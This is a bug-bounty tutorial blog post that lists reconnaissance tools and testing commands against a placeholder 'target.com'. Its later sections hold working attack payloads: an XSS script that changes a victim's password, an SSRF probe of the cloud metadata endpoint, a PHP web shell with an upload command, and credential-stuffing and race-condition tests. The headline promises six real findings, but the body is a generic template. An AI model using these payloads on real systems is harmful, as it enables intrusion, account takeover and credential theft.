The Bug Hunter’s Playbook: How I Found 6 Critical Vulnerabilities in a Global Platform

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Introduction:

Bug bounty hunting has evolved from a niche hobby into a professional cybersecurity discipline, with platforms like Bugcrowd connecting skilled researchers with organizations seeking to fortify their digital defenses. This article deconstructs a successful bug hunting engagement where a security researcher identified six distinct vulnerabilities in a public program, demonstrating the practical skills required for modern application security testing.

Learning Objectives:

  • Master the core reconnaissance and enumeration techniques used by professional bug bounty hunters.
  • Understand the methodology for identifying and validating multiple vulnerability classes in a single target.
  • Develop the analytical mindset required to chain vulnerabilities and maximize impact.

You Should Know:

1. Comprehensive Subdomain Enumeration

Verified subdomain enumeration commands form the foundation of any bug bounty engagement, revealing the target’s entire attack surface.

 Subfinder for passive subdomain discovery
subfinder -d target.com -silent | tee subdomains.txt

Amass for comprehensive enumeration
amass enum -passive -d target.com -o amass_subs.txt

Assetfinder for additional scope
assetfinder --subs-only target.com | sort -u > assets.txt

Combining and deduplicating results
cat subdomains.txt amass_subs.txt assets.txt | sort -u > final_subdomains.txt

This methodology ensures maximum coverage by leveraging multiple data sources. Subfinder utilizes numerous APIs and passive sources, while Amass provides both passive and active enumeration capabilities. The final deduplication step creates a clean target list for further assessment.

2. Live Host Verification and HTTP Service Discovery

Once you have subdomains, identifying active web services is crucial for prioritizing testing efforts.

 HTTPX for fast HTTP service detection
cat final_subdomains.txt | httpx -silent -threads 100 > live_hosts.txt

Naabu for port scanning specific targets
naabu -list final_subdomains.txt -top-ports 1000 -o naabu_results.txt

Nuclei template scanning for quick wins
nuclei -list live_hosts.txt -t nuclei-templates/ -o nuclei_findings.txt

HTTPX rapidly filters dead domains while identifying web servers, technologies, and potential redirects. Naabu complements this by discovering non-standard web ports that might host administrative interfaces or development environments. Nuclei automates initial vulnerability scanning using community-vetted templates.

3. Advanced Directory and Endpoint Discovery

Beyond surface-level reconnaissance, discovering hidden endpoints often reveals the most critical vulnerabilities.

 Feroxbuster for aggressive directory brute-forcing
feroxbuster -u https://target.com -w /usr/share/wordlists/dirb/common.txt -o ferox_scan.txt

Gospider for spidering and JavaScript analysis
gospider -S live_hosts.txt -o gospider_results -t 20

Waybackurls for historical endpoint discovery
echo "target.com" | waybackurls | tee wayback_urls.txt

Feroxbuster’s recursive scanning uncovers nested directories and API endpoints. Gospider extracts URLs from JavaScript files and follows application flow, while Waybackurls reveals deprecated but still active endpoints that often contain forgotten vulnerabilities.

4. API Endpoint Analysis and Parameter Discovery

Modern applications rely heavily on APIs, which represent prime targets for security testing.

 Arjun for parameter discovery
arjun -u https://api.target.com/endpoint -o arjun_params.txt

Kiterunner for API route brute-forcing
kr scan https://target.com -w /usr/share/wordlists/api_routes.txt -o kr_results.json

JSQL Injection for automated SQLi testing
python3 jsql.py -u "https://target.com/search?q=test" --batch

Arjun identifies GET/POST parameters including hidden ones that traditional scanners miss. Kiterunner specializes in discovering API routes using context-aware wordlists. JSQL Injection provides automated SQL injection detection with support for multiple database types and injection techniques.

5. Authentication Bypass and Session Management Testing

Testing authentication mechanisms often reveals critical logic flaws and access control issues.

 Burp Suite Intruder for credential stuffing
 Configure with username/password lists and grep match rules

Custom curl for JWT token manipulation
curl -H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c" https://target.com/admin

Test for IDOR vulnerabilities
curl -X GET https://target.com/api/user/12345/profile
curl -X GET https://target.com/api/user/12346/profile

JWT tokens often use weak signatures or contain predictable claims that can be manipulated. Testing for Insecure Direct Object References (IDOR) by incrementing numeric identifiers remains one of the most effective methods for horizontal privilege escalation.

6. Business Logic Vulnerability Assessment

Beyond technical flaws, business logic vulnerabilities require understanding application workflow and user interactions.

 Race condition testing with Turbo Intruder
python3 race_condition.py -u https://target.com/transfer -p "amount=1000&to=attacker" -t 50

Price manipulation testing
curl -X POST https://target.com/checkout -d '{"items":[{"id":1,"price":0.01}],"total":0.01}'

Inventory reservation exhaustion
for i in {1..1000}; do
curl -X POST https://target.com/reserve -d '{"product_id":123,"quantity":10}'
done

Race conditions in financial transactions or inventory systems can lead to duplicate processing or negative balances. Price parameter manipulation in client-side calculations often bypasses server-side validation. Resource exhaustion attacks can reveal flaws in inventory management systems.

7. Vulnerability Chaining and Impact Maximization

Professional bug hunters don’t stop at individual findings—they demonstrate realistic attack chains.

 Combining XSS with CSRF for account takeover
 Craft malicious payload that triggers password change

<script>
fetch('/changepassword', {
method: 'POST',
body: 'newpass=Hacker123&confirm=Hacker123'
})
</script>

SSRF to cloud metadata endpoint exploitation
 Test for AWS metadata access
curl http://target.com/export?url=http://169.254.169.254/latest/meta-data/

File upload to remote code execution
 Upload PHP web shell
echo '<?php system($_GET["cmd"]); ?>' > shell.php
curl -F "[email protected]" https://target.com/upload

Cross-Site Scripting combined with Cross-Site Request Forgery can lead to complete account compromise. Server-Side Request Forgery vulnerabilities often allow access to cloud metadata services containing credentials. Insecure file upload functionalities frequently enable remote code execution when proper validation is missing.

What Undercode Say:

  • Methodical reconnaissance consistently outperforms random testing in bug bounty programs
  • Vulnerability chaining transforms medium-severity findings into critical reports
  • The 80/20 rule applies: 80% of critical findings come from 20% of tested endpoints

The success in identifying six distinct vulnerabilities stems from systematic approach rather than luck. Each layer of reconnaissance builds upon the previous, creating multiple testing avenues. Professional bug hunters invest significant time in understanding application architecture before launching targeted attacks, ensuring comprehensive coverage rather than superficial scanning. The real value emerges when seemingly minor issues combine to create exploit chains that demonstrate business impact to program owners.

Prediction:

The convergence of AI-assisted code generation and traditional development practices will create novel vulnerability classes within the next 18-24 months. As organizations rush to implement AI features, we’ll see an explosion of prompt injection attacks, training data poisoning, and model manipulation vulnerabilities. Bug bounty hunters who master these emerging techniques will discover critical zero-day vulnerabilities in AI-integrated applications, with bounties potentially reaching 5-10x current maximum payouts due to the business-critical nature of AI systems.

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Reported By: Abdullah Angawi – Hackers Feeds
Extra Hub: Undercode MoN
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